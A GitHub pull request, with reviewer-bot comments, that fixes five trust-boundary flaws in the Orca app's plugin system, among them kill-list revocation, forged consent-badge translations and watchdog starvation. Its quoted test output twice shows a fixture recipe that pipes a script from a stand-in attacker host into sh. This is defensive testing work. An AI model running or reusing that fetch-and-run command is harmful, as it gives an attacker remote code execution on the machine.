Skip to content

fix(plugins): close four trust-boundary holes in the plugin system - #11232

Merged
nwparker merged 4 commits into
stablyai:mainfrom
nwparker:nwparker/fix-plugin-trust-boundary
Jul 29, 2026
Merged

nwparker merged 4 commits into
stablyai:mainfrom
nwparker:nwparker/fix-plugin-trust-boundary

Conversation

@nwparker

@nwparker nwparker commented Jul 28, 2026 •

Copy link
Copy Markdown
Contributor

What

Five trust-boundary decisions in the plugin system (introduced in #8549) were enforced at individual call sites rather than at the boundary itself, so each had a path around it. PluginContentPackRegistry.reconcile() (src/main/plugins/plugin-content-pack-registry.ts:38) trusted a caller-supplied approval predicate that never consulted the kill list, so a killed plugin's VM recipes stayed live; pluginKillListSchema (src/shared/plugins/plugin-kill-list.ts) put no upper bound on generatedAt, so one far-future snapshot froze out every later revocation permanently; the protected-translation list in plugin-language-pack-artifact.ts was a 12-entry enumeration that a later refactor outgrew, letting a language pack rewrite the consent provenance badge; resolvePluginPanelIcon() used ?? against an object literal, so a manifest icon named constructor resolved to Object and crashed the right sidebar; and plugin-panel-bridge-host.ts charged watchdog pongs to the shared data budget, so a busy panel was declared dead while it was answering.

Each check now lives at the chokepoint: a constructor-level isKilled predicate re-read at the final admission gate, a subtree rule instead of an enumeration, Object.hasOwn, and a size-bounded reserved liveness lane that only schema-valid pongs may spend. The kill-list future bound is applied at the two fetch entry points rather than in the schema, deliberately — see "Proof of no regression".

ELI5

Orca can install plugins, and it has several safety rails: a remote block-list for plugins later found to be malicious, a badge telling you whether a plugin is official or from a stranger, and a sandbox that keeps a misbehaving plugin from taking down the app. Each rail had a gap. A blocked plugin's saved setup commands kept running even after the block arrived. If the block-list ever got published with a broken date far in the future, blocking would quietly stop working forever after. A plugin that shipped translations could relabel itself "Official" in the very dialog that asks whether you trust it. A plugin could pick a specially-named icon and blank out the whole right-hand panel. And a busy plugin could get killed off for being unresponsive while it was in fact responding.

After this change, a blocked plugin's content is withdrawn immediately, a bad date is rejected instead of trusted, no plugin can rewrite the trust badge or any other plugin-safety wording, a strange icon name falls back to a plain plug symbol, and the health check has its own dedicated lane so a busy plugin can always answer it.

Proof of fix

Forged trust badge (finding 1.3) — visible

A real language-pack-only plugin (community.forged-badge, publisher community, loaded from a dev path) that maps PluginConsentProvenance.community to "Official". Both shots are the same consent dialog for the same unrelated third-party plugin (orca-samples.hostile-panel, publisher orca-samples), in the same running app, same profile, same route — differing only by whether src/shared/plugins/plugin-language-pack-artifact.ts is at main or at this branch.

Before — a community plugin presents itself as Official · orca-samples:

forged Official badge on parent

After — the host's own copy wins, Community · orca-samples, and the language pack is refused at load:

correct Community badge with the fix

window.api.plugins.list() in the same two sessions, pasted verbatim:

PARENT: { "key": "community.forged-badge", "status": "idle",    "error": null }
FIX:    { "key": "community.forged-badge", "status": "errored",
          "error": "language pack \"es\" catalog cannot replace protected security copy
                    at auto.components.settings.PluginConsentProvenance" }

Sidebar crash from a hostile icon name (finding 1.4) — visible

A dev plugin whose manifest declares "icon": "constructor". Before, the whole right rail is replaced by its error boundary; after, Explorer renders and the plugin's panel icon appears in the activity bar.

right sidebar collapsed to its error boundary

right sidebar rendering normally

Kill-list revocation reaching content packs (finding 1.1) — not visually distinguishable

Settings correctly showed "Blocked by Orca's plugin safety list" both before and after; the defect was that the content stayed live behind that correct-looking UI. Proven at the service level with a real PluginService over a real on-disk plugin tree. Source hunk reverted to main, tests kept:

 FAIL  src/main/plugins/plugin-kill-list-content-revocation.test.ts > never publishes killed content after a restart discovers the plugin
AssertionError: expected [ { id: 'killed-recipe', …(2) } ] to deeply equal []

- Expected
+ Received

- []
+ [
+   {
+     "create": "curl https://attacker.example/payload.sh | sh",
+     "id": "killed-recipe",
+     "name": "Killed Recipe",
+   },
+ ]

 Test Files  1 failed (1)
      Tests  2 failed (2)

That create string is what reaches spawn(..., { shell: true }). With the fix, both the reconcileActivationState() path and the fresh-discovery path return [].

Far-future kill list (finding 1.2) — invisible by construction

Requires a poisoned server-side publication; nothing in the UI changes while revocation silently stops working. Source hunk reverted to main:

 FAIL  src/main/plugins/plugin-kill-list-service.test.ts > keeps accepting genuine lists after a far-future snapshot is published
AssertionError: promise resolved "{ version: 1, …(2) }" instead of rejecting

+ {
+   "generatedAt": "9999-12-31T23:59:59Z",
+   "plugins": [ { "pluginKey": "community.unsafe", "reason": "Malware advisory" } ],
+   "version": 1,
  }

Watchdog starved by the data budget (finding 1.5) — timing race, not staged in the UI

Reproducing the visible symptom (panel demoted to an errored badge) needs a panel saturating 30 messages/10s while a 10s-interval ping lands in the same window; that race was not staged deterministically. Source hunk reverted to main:

 FAIL  src/renderer/src/components/right-sidebar/plugin-panel-bridge-host.test.ts > keeps answering the watchdog while the data budget is saturated
AssertionError: expected "vi.fn()" to be called with arguments: [ 7 ]
Number of calls: 0

With the data budget hard-wired to always return rate_limited, the pong still reaches the watchdog.

The first version of this fix reintroduced the same bug class — see the review-round section below.

Proof of no regression

New regression tests

8 test files changed, 80 tests. For each finding, only the source hunk was reverted (tests left intact) and the suite re-run:

Finding Test file Reverted-source result
1.1 kill-list -> content packs plugin-kill-list-content-revocation.test.ts 2 failed
1.1 kill during the awaited verify window plugin-content-pack-registry.test.ts 1 failed
1.2 far-future generatedAt plugin-kill-list.test.ts + plugin-kill-list-service.test.ts 4 failed
1.3 protected translations plugin-language-pack-artifact.test.ts 3 failed
1.4 icon own-key lookup plugin-panel-activity-items.test.ts 3 failed
1.5 reserved liveness lane plugin-panel-bridge-host.test.ts 3 failed
1.5 pong reader matches the schema plugin-panel-pong-frame.test.ts 22-case parity; 4 failed

All passing on HEAD:

 RUN  v4.1.5

 Test Files  8 passed (8)
      Tests  80 passed (80)
   Duration  407ms

Command: npx vitest run --config config/vitest.config.ts <the 8 files>. Note pnpm test -- <file> / bare npx vitest do not resolve the @/ alias; --config config/vitest.config.ts is required.

A regression this branch introduced and then fixed — please read

The first commit (43b14b51ec) put the future-skew bound inside pluginKillListSchema.superRefine, which evaluates Date.now() at parse time. That schema is also the on-disk cache read path (plugin-kill-list-store.ts:28), so the cached kill list was re-judged against the device clock at every launch, and initialize() catches a store read failure by setting currentList = null. On a device whose clock runs behind the last genuine publication — dead RTC, restored VM snapshot, fresh container — the entire cached kill list was discarded and the app booted with zero revocations: the same outcome as the original finding by an easier route.

Reproduced against 43b14b51ec (only the two source files checked out from that commit, current tests):

 FAIL  src/main/plugins/plugin-kill-list-service.test.ts > keeps cached revocations live when the device clock runs far behind
AssertionError: expected undefined to be '2026-07-28T22:23:16.059Z' // Object.is equality

- Expected: "2026-07-28T22:23:16.059Z"
+ Received: undefined

Fixed in 81b9674cf9: isPluginKillListTooFarInFuture() is applied at the two fetch chokepoints only (performRefresh before store.write, and fetchPluginKillList), leaving the cache read unbounded — a cached list was already accepted once, and re-judging it later can only lose revocations. The covering test keeps cached revocations live when the device clock runs far behind fails on both main and 43b14b51ec.

Review round 2 — the reserved lane had the same bug it was fixing

Greptile (P2) caught that PANEL_CONTROL_RATE_LIMIT = 4 / 10s used the same window as PANEL_WATCHDOG_PING_INTERVAL_MS, so a panel's own pong traffic could exhaust the lane and drop the real reply. The original PR description called this an accepted trade-off. That was wrong, for a reason the description missed: the lane was entered on a cheap type-only check, so near-miss pongs (pingId: -1, pingId: 'x', absent pingId) spent it without ever being valid pongs. Starvation was therefore reachable by a merely buggy panel, not only a hostile one, and re-creating the finding-1.5 bug class inside the finding-1.5 fix is not defensible.

Fixed in c8dbf7d:

  • The lane is size-bounded only. PANEL_CONTROL_RATE_LIMIT is deleted, not retuned — any per-window count can be spent by the panel's own pongs, so raising 4 to 8 would move the threshold without removing the window.
  • Only schema-valid pongs take the lane. looksLikePanelControlFrame is replaced by readPanelPongId(), which returns the pingId or null; anything failing falls through to the data budget like any other malformed frame.
  • Rate stays bounded because every pong is also charged to the data budget (30/10s); the handler simply does not let a refusal there silence liveness. The lane grants liveness, not an unmetered channel.

readPanelPongId is hand-rolled rather than panelPongSchema.safeParse because on this guest-controlled path a rejected zod parse allocates an issue list at ~90x the accepted-path cost (measured 5.05us vs 0.058us) — validating pong shape with zod would hand a spammer free CPU. plugin-panel-pong-frame.test.ts pins the reader to panelPongSchema across 22 cases so they cannot drift.

The pre-merge gate caught that the reader had already drifted from the schema at exactly the boundary the original 18 cases did not probe: zod v4's .int() requires a safe integer, but the reader used Number.isInteger, so pingId: 1e100 took the reserved lane the schema would have refused (and could never correlate against a watchdog id starting at 0). Fixed in 7b473c327e with Number.isSafeInteger, plus four above-MAX_SAFE_INTEGER parity cases. Reverting only the source change fails exactly those four.

CodeRabbit (Major, security) separately caught a TOCTOU on finding 1.1's own boundary: approvedKeys is snapshotted before the awaited verification phase, so a plugin killed during that wait still published. approveAtomically — the last gate before publication — now re-reads isKilled. Reverting only that hunk fails the new test with the attacker payload published:

AssertionError: expected [ { pluginKey: 'orca-samples.kill-race', …(1) } ] to deeply equal []
+ [ { "pluginKey": "orca-samples.kill-race",
+     "recipe": { "create": "curl https://attacker.example/payload.sh | sh",
+                 "id": "raced-recipe", "name": "Raced Recipe" } } ]

CodeRabbit (Minor) also caught that resolvePluginPanelIcon('file-text') === resolvePluginPanelIcon('FileText') passes when both fall back to Plug. The test now asserts the exact icon (toBe(FileText)), which is stronger than the suggested not.toBe(Plug); stubbing the resolver to return Plug now fails it.

Rebase onto current main

Rebased onto 25da91d653. a40183389b (#11003) landed a new test, refuses a valid request after malformed and pong traffic exhaust the budget, which asserts a pong spends data budget — the exact behavior the first version of this branch removed, and the CI failure on this PR. That test encodes the right intent and is now satisfied by the design above (pongs are charged to the data budget; only the refusal is not allowed to silence liveness), so it is kept unmodified.

Checked for duplicate work: no upstream commit between 380034edf9 and 25da91d653 touches any of the five source files here (git diff --stat 380034edf9 origin/main -- src/main/plugins src/shared/plugins shows only AiVaultSessionRow.tsx and that one test file), so no hunk was dropped as already-fixed-upstream.

Existing tests over the touched area

$ npx vitest run --config config/vitest.config.ts \
    src/main/plugins src/shared/plugins \
    src/renderer/src/components/right-sidebar \
    src/renderer/src/components/settings src/renderer/src/i18n

 Test Files  355 passed (355)
      Tests  2614 passed (2614)
   Duration  47.96s

plugin-launch-content.test.ts, which guards the bundled Portuguese launch pack against the widened 1.3 rule, passes.

Typecheck and lint

$ pnpm run typecheck:node   # tsc --noEmit -p config/tsconfig.node.json  -> clean, exit 0
$ pnpm run typecheck:web    # tsc --noEmit -p config/tsconfig.tc.web.json -> clean, exit 0
$ pnpm run check:code-quality:changed
code quality: 0 new finding(s) across 17 changed file(s).
type-aware code quality: 0 new finding(s) across 17 changed file(s).
React Doctor: 0 new finding(s) across 17 changed file(s).
Changed-code quality gate passed since d3681f630670.

Deliberate scope choices and open judgement calls

  • 1.3 is broader than adding two prefixes. The 12-entry enumeration is replaced by a subtree rule: auto.components.settings.<module> where the module segment matches /^plugin/i. This is what stops the next extracted dialog from silently regressing the way PluginConsentProvenance did. Blast radius measured: it protects 16 of 196 auto.components.settings.* modules across all five shipped locales (en/es/ja/ko/zh), and the only bundled language pack (stablyai.orca-portuguese) contains zero auto.components.settings.* keys. It also closes PluginDevelopmentSection and the plugins namespace, which the original list missed. A reviewer should confirm no future non-security settings module is intended to be named Plugin* — that is the one assumption this rule rests on.
  • The reserved liveness lane is size-bounded with no rate limit. This is the deliberate choice, and the one most worth a second reader: any per-window count on that lane is spendable by the panel's own pongs and would drop the next genuine reply. Rate is bounded instead by charging every pong to the existing data budget (30/10s) while refusing to let a refusal there silence liveness. The residual cost of an unrated lane is one readPanelPongId plus one byte-walk capped at 1 KiB per pong-shaped frame — all of which the data budget already meters.
  • 1.1 changes PluginContentPackRegistry's constructor signature (adds a required isKilled predicate). One production construction site exists (plugin-service.ts:67); two test constructions were updated to () => false.
  • Not changed: the kill-list store's on-disk format and read path, the data budget's own limits (30 msgs / 10s / 64 KiB), the marketplace install path, and every non-Plugin* translation namespace. The fix cannot affect them — the content-pack change only narrows an existing approved-key set, the translation change only widens a refusal predicate, and the liveness change adds a second lane without relaxing the first.

Verification gaps, stated plainly

  • The forged-badge and sidebar-crash screenshots were captured by hand in the dev app over CDP. They are real captures of real app state, not mockups, but they are not produced by CI and will not be re-verified automatically.
  • The 1.5 fix has no end-to-end reproduction of the visible symptom; the unit tests are the direct proof. The zod-vs-hand-rolled cost figures come from a local microbenchmark, not from production panel traffic.
  • Findings 1.1 and 1.2 have no visual evidence at all, for the structural reasons given above.

Made with Orca 🐋

@greptile-apps

greptile-apps Bot commented Jul 28, 2026 •

Copy link
Copy Markdown

Greptile Summary

This PR closes five trust-boundary holes in the plugin system by moving each enforcement check to its true chokepoint rather than relying on individual call sites. The changes cover: revoked-plugin content surviving reconciliation, an unbounded generatedAt permanently disabling the kill list, a language pack overriding the consent trust badge, a hostile manifest icon crashing the right sidebar, and a watchdog being starved by the panel's own data budget.

  • Kill-list revocation (1.1 + TOCTOU): PluginContentPackRegistry now takes an isKilled predicate at construction time and re-reads it inside approveAtomically — the last gate before publication — so a plugin killed during the awaited verification window cannot publish its VM recipes or language packs.
  • Far-future generatedAt (1.2): isPluginKillListTooFarInFuture() is applied at the two fetch entry points only, leaving the cache-read path unbounded; a cached list was already accepted once and re-judging it on a slow-clock device would silently drop live revocations.
  • Protected translation subtree (1.3) and icon own-key lookup (1.4): The enumerated prefix list is replaced by a /^plugin/i subtree rule so newly-extracted dialogs can't silently become plugin-writable; Object.hasOwn replaces ?? on the icon map so constructor no longer resolves to Object and crashes the activity bar.
  • Reserved liveness lane (1.5): A size-only controlBudget is introduced for pongs; valid pongs are charged to both budgets but a data-budget refusal cannot silence liveness, and near-miss pong-shaped frames (invalid pingId) never enter the reserved lane.

Confidence Score: 5/5

All five trust-boundary fixes are correctly placed at their respective chokepoints with no regression paths identified.

Each fix is narrow, well-scoped, and backed by dedicated regression tests that reproduce the exact attacker payload before the fix and confirm its absence after. The TOCTOU fix re-reads revocation at the final publication gate and is independently verified by a concurrent-kill test. The far-future guard is correctly applied only at fetch time, leaving the cache-read path unbounded as required. The hand-rolled readPanelPongId is pinned against panelPongSchema across 18 boundary cases so it cannot drift. The Object.hasOwn change and the regex-based translation protection are both one-line surgical replacements with clear, passing tests. The constructor-signature change to PluginContentPackRegistry has one production call site that was correctly updated.

Files Needing Attention: No files require special attention. Reviewers should confirm the deliberate scope assumption called out in the PR: the /^plugin/i subtree rule in plugin-language-pack-artifact.ts will block any future non-security settings module whose name starts with "Plugin", which is the intended trade-off.

Important Files Changed

Filename Overview
src/main/plugins/plugin-content-pack-registry.ts Adds required isKilled predicate to constructor and re-reads it inside approveAtomically (the final gate) to close the TOCTOU window between the approvedKeys snapshot and publication.
src/main/plugins/plugin-kill-list-service.ts Adds isPluginKillListTooFarInFuture check at both performRefresh (before store.write) and fetchPluginKillList, deliberately leaving the cache-read path unbounded to protect slow-clock devices.
src/shared/plugins/plugin-kill-list.ts Adds PLUGIN_KILL_LIST_FUTURE_SKEW_MS constant (24 h) and exported isPluginKillListTooFarInFuture predicate; the check is deliberately not placed inside the schema so cache reads are not re-judged against the device clock.
src/shared/plugins/plugin-language-pack-artifact.ts Replaces the 12-entry enumeration with a subtree rule (/^plugin/i under auto.components.settings.) so newly-extracted plugin-security dialogs are automatically protected without requiring list maintenance.
src/renderer/src/components/right-sidebar/plugin-panel-activity-items.ts Uses Object.hasOwn instead of ?? on the curated icon map so prototype members like constructor fall back to Plug rather than resolving to Object and crashing the right sidebar.
src/renderer/src/components/right-sidebar/plugin-panel-bridge-host.ts Introduces a separate controlBudget (size-only, no rate limit) for valid pongs so data-budget saturation cannot silence liveness; near-miss pong frames fall through to the data budget without touching the reserved lane.
src/shared/plugins/plugin-panel-bridge.ts Replaces looksLikePanelPong with the hand-rolled readPanelPongId (mirrors panelPongSchema exactly but avoids Zod's ~90x allocation cost on rejected parses); adds PANEL_CONTROL_MESSAGE_MAX_BYTES constant.
src/shared/plugins/plugin-panel-message-budget.ts Adds createPanelControlMessageBudget — a size-only budget for the liveness lane; deliberately omits a per-window count because any such count could be exhausted by the panel's own valid pongs.
src/main/plugins/plugin-service.ts Wires the isKilled predicate from getPluginKillListEntry into PluginContentPackRegistry's constructor; the closure is evaluated live so it always reflects the current kill-list state.
src/shared/plugins/plugin-panel-pong-frame.test.ts New 18-case parity test that asserts readPanelPongId and panelPongSchema agree on every boundary case so the hand-rolled fast path cannot drift from the schema contract.

Reviews (3): Last reviewed commit: "fix(plugins): match zod's safe-integer b..." | Re-trigger Greptile

@coderabbitai

coderabbitai Bot commented Jul 28, 2026 •

Copy link
Copy Markdown
Contributor

Review Change Stack

📝 Walkthrough

Walkthrough

The changes add future-skew validation for fetched plugin kill lists and preserve accepted cached revocations. Plugin content reconciliation now excludes killed plugins, including language packs and VM recipes. Panel control frames receive separate detection, budgeting, and pong handling. Protected plugin trust translations are matched by module path, and panel icon resolution rejects inherited properties. Tests cover these behaviors and associated timer cleanup.

🚥 Pre-merge checks | ✅ 3 | ❌ 2

❌ Failed checks (2 warnings)

Check name Status Explanation Resolution
Docstring Coverage ⚠️ Warning Docstring coverage is 28.57% which is insufficient. The required threshold is 80.00%. Write docstrings for the functions missing them to satisfy the coverage threshold.
Description check ⚠️ Warning The description is detailed, but it does not follow the required template headings for Summary, Screenshots, Testing, AI Review Report, Security Audit, and Notes. Rewrite the PR description using the repository template and add explicit Summary, Screenshots, Testing, AI Review Report, Security Audit, and Notes sections.
✅ Passed checks (3 passed)
Check name Status Explanation
Linked Issues check ✅ Passed Check skipped because no linked issues were found for this pull request.
Out of Scope Changes check ✅ Passed Check skipped because no linked issues were found for this pull request.
Title check ✅ Passed The title is concise and directly describes the main plugin security fix, despite saying four holes while the PR covers five.

Thanks for using CodeRabbit! It's free for OSS, and your support helps us grow. If you like it, consider giving us a shout-out.

❤️ Share

Comment @coderabbitai help to get the list of available commands.

@coderabbitai coderabbitai Bot left a comment

Copy link
Copy Markdown
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Actionable comments posted: 2


ℹ️ Review info
⚙️ Run configuration

Configuration used: Repository UI

Review profile: CHILL

Plan: Pro Plus

Run ID: 9428e047-7736-48c9-9c5e-f3e1c03573ad

📥 Commits

Reviewing files that changed from the base of the PR and between a8126a0 and 81b9674cf954821b968c7e25e064f38d982c3dd9.

📒 Files selected for processing (16)
  • src/main/plugins/plugin-content-pack-registry.test.ts
  • src/main/plugins/plugin-content-pack-registry.ts
  • src/main/plugins/plugin-kill-list-content-revocation.test.ts
  • src/main/plugins/plugin-kill-list-service.test.ts
  • src/main/plugins/plugin-kill-list-service.ts
  • src/main/plugins/plugin-service.ts
  • src/renderer/src/components/right-sidebar/plugin-panel-activity-items.test.ts
  • src/renderer/src/components/right-sidebar/plugin-panel-activity-items.ts
  • src/renderer/src/components/right-sidebar/plugin-panel-bridge-host.test.ts
  • src/renderer/src/components/right-sidebar/plugin-panel-bridge-host.ts
  • src/shared/plugins/plugin-kill-list.test.ts
  • src/shared/plugins/plugin-kill-list.ts
  • src/shared/plugins/plugin-language-pack-artifact.test.ts
  • src/shared/plugins/plugin-language-pack-artifact.ts
  • src/shared/plugins/plugin-panel-bridge.ts
  • src/shared/plugins/plugin-panel-message-budget.ts

nwparker and others added 3 commits July 28, 2026 16:12
Move five security decisions to their chokepoints rather than leaving them
enumerated at individual call sites.

- Kill-list revocation reaches content packs: PluginContentPackRegistry now
  takes an isKilled predicate and intersects it with any caller-supplied
  approval, so a killed plugin's VM recipes can no longer reach
  spawn(..., { shell: true }) through either reconcile() call site.
- Bound kill-list generatedAt to a 24h future skew at the parse chokepoint.
  A far-future timestamp previously made every genuine later list look
  "older" and disabled revocation permanently, persisted across restarts.
- Protect the whole auto.components.settings.Plugin* translation subtree
  instead of an enumerated prefix list, so language packs cannot forge the
  consent provenance badge or rewrite install-error security copy.
- Resolve manifest panel icons by own-key only; "constructor"/"__proto__"
  previously yielded non-component prototype members that crashed the
  right sidebar to its error boundary.
- Give panel liveness frames a reserved control budget so a panel that
  saturates its action budget can still answer the watchdog.

Co-authored-by: Orca <[email protected]>
The schema-level generatedAt bound re-judged the on-disk cache against the
device clock at every launch, so a client whose clock ran behind the last
genuine publication discarded its whole cached kill list and started with
zero revocations. Move the bound to the two fetch chokepoints instead.

Co-authored-by: Orca <[email protected]>
…cation TOCTOU

Review follow-ups on the trust-boundary fixes:

- The reserved liveness lane had a per-window count equal to the ping
  interval, so a panel's own pong-shaped traffic could spend it and drop
  the next genuine reply — reintroducing the starvation the lane exists to
  prevent. The lane is now size-bounded only; rate stays bounded because
  every pong is also charged to the data budget.
- Only schema-valid pongs take the lane now, so near-miss pong-shaped junk
  cannot drain it. readPanelPongId replaces the zod parse on this
  guest-controlled path (a rejected safeParse allocates an issue list, ~90x
  the accepted-path cost) and is pinned to the schema by a parity test.
- Re-read the kill list inside approveAtomically: approvedKeys is snapshotted
  before an awaited verification phase, so a plugin killed during that wait
  could still publish VM recipes and language packs.
- Assert the curated icon resolves to FileText; the old equality also passed
  when both sides fell back to Plug.

Co-authored-by: Orca <[email protected]>
@nwparker
nwparker force-pushed the nwparker/fix-plugin-trust-boundary branch from 81b9674 to c8dbf7d Compare July 29, 2026 00:03

@coderabbitai coderabbitai Bot left a comment

Copy link
Copy Markdown
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

🧹 Nitpick comments (1)
src/renderer/src/components/right-sidebar/plugin-panel-bridge-host.ts (1)

91-106: 📐 Maintainability & Code Quality | 🔵 Trivial | 💤 Low value

Condense the implementation-walkthrough comments.

These six comments restate the control flow; retain one concise rationale for the reserved lane.

Proposed cleanup
-    // A valid pong is the one frame the host must never lose: it takes a
-    // reserved lane so a panel saturating its data budget can still prove it
-    // is alive. Only schema-valid pongs qualify, so near-miss pong-shaped junk
-    // cannot drain the lane the real reply needs — it falls through to the
-    // data budget below like any other malformed frame.
+    // Reserve schema-valid pongs so a saturated data budget cannot hide liveness.
...
-      // One walk, capped at the smaller lane bound, serves both budgets: a
-      // pong above that cap is refused here anyway.
...
-      // Charged to both: the data budget still meters this traffic, while a
-      // refusal there cannot by itself silence liveness.

Source: Coding guidelines


ℹ️ Review info
⚙️ Run configuration

Configuration used: Repository UI

Review profile: CHILL

Plan: Pro Plus

Run ID: 082b1ecd-5ecf-43bb-8ea8-ed4d333752a3

📥 Commits

Reviewing files that changed from the base of the PR and between 81b9674cf954821b968c7e25e064f38d982c3dd9 and c8dbf7d.

📒 Files selected for processing (10)
  • src/main/plugins/plugin-content-pack-registry.test.ts
  • src/main/plugins/plugin-content-pack-registry.ts
  • src/main/plugins/plugin-kill-list-content-revocation.test.ts
  • src/main/plugins/plugin-kill-list-service.test.ts
  • src/main/plugins/plugin-kill-list-service.ts
  • src/main/plugins/plugin-service.ts
  • src/renderer/src/components/right-sidebar/plugin-panel-activity-items.test.ts
  • src/renderer/src/components/right-sidebar/plugin-panel-activity-items.ts
  • src/renderer/src/components/right-sidebar/plugin-panel-bridge-host.test.ts
  • src/renderer/src/components/right-sidebar/plugin-panel-bridge-host.ts
🚧 Files skipped from review as they are similar to previous changes (5)
  • src/renderer/src/components/right-sidebar/plugin-panel-activity-items.test.ts
  • src/main/plugins/plugin-kill-list-content-revocation.test.ts
  • src/main/plugins/plugin-content-pack-registry.ts
  • src/main/plugins/plugin-service.ts
  • src/main/plugins/plugin-kill-list-service.test.ts

readPanelPongId used Number.isInteger, but zod's .int() rejects anything
above 2**53-1, so pingIds like 1e100 took the reserved lane the schema
would have refused. The parity test never probed that boundary.

Co-authored-by: Orca <[email protected]>
@nwparker

Copy link
Copy Markdown
Contributor Author

Pre-merge gate: one real defect found and fixed in 7b473c327e.

The PR claims readPanelPongId "mirrors [panelPongSchema] exactly" and that plugin-panel-pong-frame.test.ts pins it "across 18 cases so they cannot drift". It had already drifted, and the parity test did not catch it.

zod v4's .int() requires a safe integer. readPanelPongId used Number.isInteger, which accepts everything above 2**53 - 1. Probed directly against the shipped schema:

9007199254740991 (MAX_SAFE_INTEGER)  schema=true   reader=true    <- agree
9007199254740992 (MAX_SAFE_INTEGER+1) schema=false  reader=true    <- DIVERGE
1152921504606847000 (2**60)           schema=false  reader=true    <- DIVERGE
1e+100                                schema=false  reader=true    <- DIVERGE
1.7976931348623157e+308 (MAX_VALUE)   schema=false  reader=true    <- DIVERGE

None of the 18 parity cases sat above MAX_SAFE_INTEGER, so the invariant the whole hand-rolled-reader justification rests on was unverified at exactly the boundary where it broke.

Impact is small but it is on the security boundary this PR exists to tighten: { type: 'orca-panel-pong', pingId: 1e100 } took the reserved liveness lane the schema would have refused, and handlePong compares with === against a watchdog id starting at 0, so it could never correlate. Not the starvation bug (the lane has no rate limit now, so it cannot be drained), but the lane's admission predicate was wider than its stated contract.

Fix: Number.isSafeInteger, plus four boundary cases added to the parity test. Verified non-vacuous by reverting only the source change — 4 failed | 19 passed (23), failing exactly the new cases.

Full re-verification on the final commit, all run locally:

  • src/main/plugins src/shared/plugins src/renderer/src/components/right-sidebar -> 230 passed / 1828 passed
  • typecheck:node and typecheck:web -> both exit 0
  • check:code-quality:changed -> 0 new findings across 17 files
  • Independently re-derived every negative control: reverting each of the five source hunks fails its tests (1.1 snapshot filter + TOCTOU: 3 failed; 1.2: 3 failed; 1.3: 8 failed; 1.4: 3 failed; 1.5: 4 failed). No test is vacuous.
  • Upstream's refuses a valid request after malformed and pong traffic exhaust the budget (from a40183389b) is byte-identical to origin/main — lines 100-225 of the test file diff clean.
  • Merged this branch into current origin/main (a721125d06, 7 commits newer than the rebase base): clean merge, 230 passed / 1824 passed, both typechecks clean. No file in this PR is touched by anything on main since d3681f6306.

@nwparker
nwparker merged commit 5c59c84 into stablyai:main Jul 29, 2026
25 checks passed
enrick-dev pushed a commit to enrick-dev/orca that referenced this pull request Oct 15, 2026
…tablyai#11232)

* fix(plugins): close trust-boundary holes in the plugin system

Move five security decisions to their chokepoints rather than leaving them
enumerated at individual call sites.

- Kill-list revocation reaches content packs: PluginContentPackRegistry now
  takes an isKilled predicate and intersects it with any caller-supplied
  approval, so a killed plugin's VM recipes can no longer reach
  spawn(..., { shell: true }) through either reconcile() call site.
- Bound kill-list generatedAt to a 24h future skew at the parse chokepoint.
  A far-future timestamp previously made every genuine later list look
  "older" and disabled revocation permanently, persisted across restarts.
- Protect the whole auto.components.settings.Plugin* translation subtree
  instead of an enumerated prefix list, so language packs cannot forge the
  consent provenance badge or rewrite install-error security copy.
- Resolve manifest panel icons by own-key only; "constructor"/"__proto__"
  previously yielded non-component prototype members that crashed the
  right sidebar to its error boundary.
- Give panel liveness frames a reserved control budget so a panel that
  saturates its action budget can still answer the watchdog.

Co-authored-by: Orca <[email protected]>

* fix(plugins): keep the kill-list future bound off the cache read path

The schema-level generatedAt bound re-judged the on-disk cache against the
device clock at every launch, so a client whose clock ran behind the last
genuine publication discarded its whole cached kill list and started with
zero revocations. Move the bound to the two fetch chokepoints instead.

Co-authored-by: Orca <[email protected]>

* fix(plugins): remove the reserved-lane starvation window and the revocation TOCTOU

Review follow-ups on the trust-boundary fixes:

- The reserved liveness lane had a per-window count equal to the ping
  interval, so a panel's own pong-shaped traffic could spend it and drop
  the next genuine reply — reintroducing the starvation the lane exists to
  prevent. The lane is now size-bounded only; rate stays bounded because
  every pong is also charged to the data budget.
- Only schema-valid pongs take the lane now, so near-miss pong-shaped junk
  cannot drain it. readPanelPongId replaces the zod parse on this
  guest-controlled path (a rejected safeParse allocates an issue list, ~90x
  the accepted-path cost) and is pinned to the schema by a parity test.
- Re-read the kill list inside approveAtomically: approvedKeys is snapshotted
  before an awaited verification phase, so a plugin killed during that wait
  could still publish VM recipes and language packs.
- Assert the curated icon resolves to FileText; the old equality also passed
  when both sides fell back to Plug.

Co-authored-by: Orca <[email protected]>

* fix(plugins): match zod's safe-integer bound in the pong reader

readPanelPongId used Number.isInteger, but zod's .int() rejects anything
above 2**53-1, so pingIds like 1e100 took the reserved lane the schema
would have refused. The parity test never probed that boundary.

Co-authored-by: Orca <[email protected]>

---------

Co-authored-by: Orca <[email protected]>
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment

Labels

None yet

Projects

None yet

Development

Successfully merging this pull request may close these issues.

1 participant